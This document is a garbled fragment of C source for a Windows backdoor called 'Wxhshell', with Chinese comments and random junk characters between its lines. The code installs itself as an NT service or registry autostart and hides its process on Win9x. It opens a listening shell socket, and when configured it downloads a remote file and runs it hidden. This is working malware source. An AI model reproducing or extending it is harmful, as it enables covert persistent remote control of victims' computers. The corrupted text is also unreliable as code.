S &!8 WRJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rml'{S if(hProcess==NULL) return 0; (A~7>\r + 0#]fEi HMODULE hMod; ;MS.ag# char procName[255]; ZQfxlzj+X unsigned long cbNeeded; @N Yl4N \(Sly&gL if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KYpS4&Xh gI^&z CloseHandle(hProcess); )s
$]+HQs x4^nT=?6_ if(strstr(procName,"services")) return 1; // 以服务启动 D;Qx9^. D^6*Cwb return 0; // 注册表启动 XG/xMz~ } ^+m`mc sE LE8<JMB // 主模块 *k LFs|U int StartWxhshell(LPSTR lpCmdLine) /L^g. ~ { +Ryj82;59z SOCKET wsl; G WIsT\J BOOL val=TRUE; ;b {#$#`= int port=0; zq};{~u( struct sockaddr_in door; rwq eS8(HI6{^ if(wscfg.ws_autoins) Install(); Yqs=jTq`{ c<$<n port=atoi(lpCmdLine); *igmi9A T3{O+aRt if(port<=0) port=wscfg.ws_port; TWRP|i!i z0 9Gp}^; WSADATA data; oV%:XuywT if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VExhN'; B"GC|}N)v if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;"MChk setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +dCDk* /m door.sin_family = AF_INET; 0/Q_%
: door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3:WqUb\QK door.sin_port = htons(port); %OBW/Ti 0<m7:D
Gd if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V+`kB3GV closesocket(wsl); gRY#pRT6d return 1; <<
6GE } Cf[tNq A^OwT#
if(listen(wsl,2) == INVALID_SOCKET) { c]9gf\WW closesocket(wsl); 2)=whnFS return 1; ahl|N` } gnp.!- Wxhshell(wsl); t=P+m WSACleanup(); qd0G sr}j /!H24[tnk1 return 0; *?m)VvR>| X/4CXtX^ } oXG_6E!^ [\ao#f0WR // 以NT服务方式启动 \ja6g VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ..`c# O& { 1ubu~6 DWORD status = 0; hV7EjQp DWORD specificError = 0xfffffff; |
1B0 #*.!J zOg serviceStatus.dwServiceType = SERVICE_WIN32; ^OY$
W serviceStatus.dwCurrentState = SERVICE_START_PENDING; }WsPu o serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M}|(:o3Yo serviceStatus.dwWin32ExitCode = 0; 07.p
{X R serviceStatus.dwServiceSpecificExitCode = 0; [edF'7La serviceStatus.dwCheckPoint = 0; eHgr"f*7
serviceStatus.dwWaitHint = 0; CF;Gy L1M {I{ 0rV hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wiN0|h>, if (hServiceStatusHandle==0) return; >j?5?J" ;dzy5o3 status = GetLastError(); !BoGSI if (status!=NO_ERROR) \g34YY^L3 { )g:5}+ serviceStatus.dwCurrentState = SERVICE_STOPPED; mV^w|x serviceStatus.dwCheckPoint = 0; M XG>| serviceStatus.dwWaitHint = 0; o26Y}W serviceStatus.dwWin32ExitCode = status; 0C<\m\|~k serviceStatus.dwServiceSpecificExitCode = specificError; (:bf m SetServiceStatus(hServiceStatusHandle, &serviceStatus); /4r2B.91O return; 0fqcPi } q'jOI_b e i=
4u' serviceStatus.dwCurrentState = SERVICE_RUNNING; j3sz"( serviceStatus.dwCheckPoint = 0; (pELd(*Ga serviceStatus.dwWaitHint = 0; ,buX| if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); IUOf/mM5 } MD[hqshoh F8w7N$/V", // 处理NT服务事件,比如:启动、停止 s\d3u`G VOID WINAPI NTServiceHandler(DWORD fdwControl) <f7 O3 > { .BPd06y switch(fdwControl) &kb~N- { mlByE,S2E case SERVICE_CONTROL_STOP: $oW=N serviceStatus.dwWin32ExitCode = 0; *B&P[n serviceStatus.dwCurrentState = SERVICE_STOPPED; 'dj3y/
k% serviceStatus.dwCheckPoint = 0; J`5VE$2M serviceStatus.dwWaitHint = 0; ika*w { E]#;K-j SetServiceStatus(hServiceStatusHandle, &serviceStatus); <J^5l0)q } \6
\bD< return; L\4rvZa case SERVICE_CONTROL_PAUSE: 8O^x~[sQ serviceStatus.dwCurrentState = SERVICE_PAUSED; >M5}L< break;
f,O10`4s case SERVICE_CONTROL_CONTINUE: J^"_H:1[ serviceStatus.dwCurrentState = SERVICE_RUNNING; gV]4R"/ break; IgbuMEfL case SERVICE_CONTROL_INTERROGATE: 'fn}I0Vc break; t]&.'n, }; EeYL~ORdi SetServiceStatus(hServiceStatusHandle, &serviceStatus); CAc]SxLh } A ON
|b\? ~?NCmU=3 // 标准应用程序主函数 8ve-g\C8 H int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v
o:KL%) { >"/TiQt v J0v6\ // 获取操作系统版本 B>i%:[-e OsIsNt=GetOsVer(); G4i%/_JU GetModuleFileName(NULL,ExeFile,MAX_PATH); bm;iX*~ $@VJ@JAe // 从命令行安装 i7dDklj4 if(strpbrk(lpCmdLine,"iI")) Install(); ,.Ofv):= E]q>ggeNH // 下载执行文件 `6rLd>=R if(wscfg.ws_downexe) { 0/~p1SSun if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cx;it/8+ WinExec(wscfg.ws_filenam,SW_HIDE); Y's=31G@ } }P2*MrkcHB 0-p^ oA if(!OsIsNt) { E:rJi] // 如果时win9x,隐藏进程并且设置为注册表启动 S[y'{; HideProc(); m !:F/?B StartWxhshell(lpCmdLine); Ps0Cc _ } `pbCPa{Y else D0#U*tq; if(StartFromService())
k[mp( // 以服务方式启动 Z(:\Vj" StartServiceCtrlDispatcher(DispatchTable); 3~`\FuHHe else 3+>R%TX6i< // 普通方式启动 dtuCA"D StartWxhshell(lpCmdLine); A]"6/Lr9P ,GWa3.&.d return 0; v_5O*F7) }
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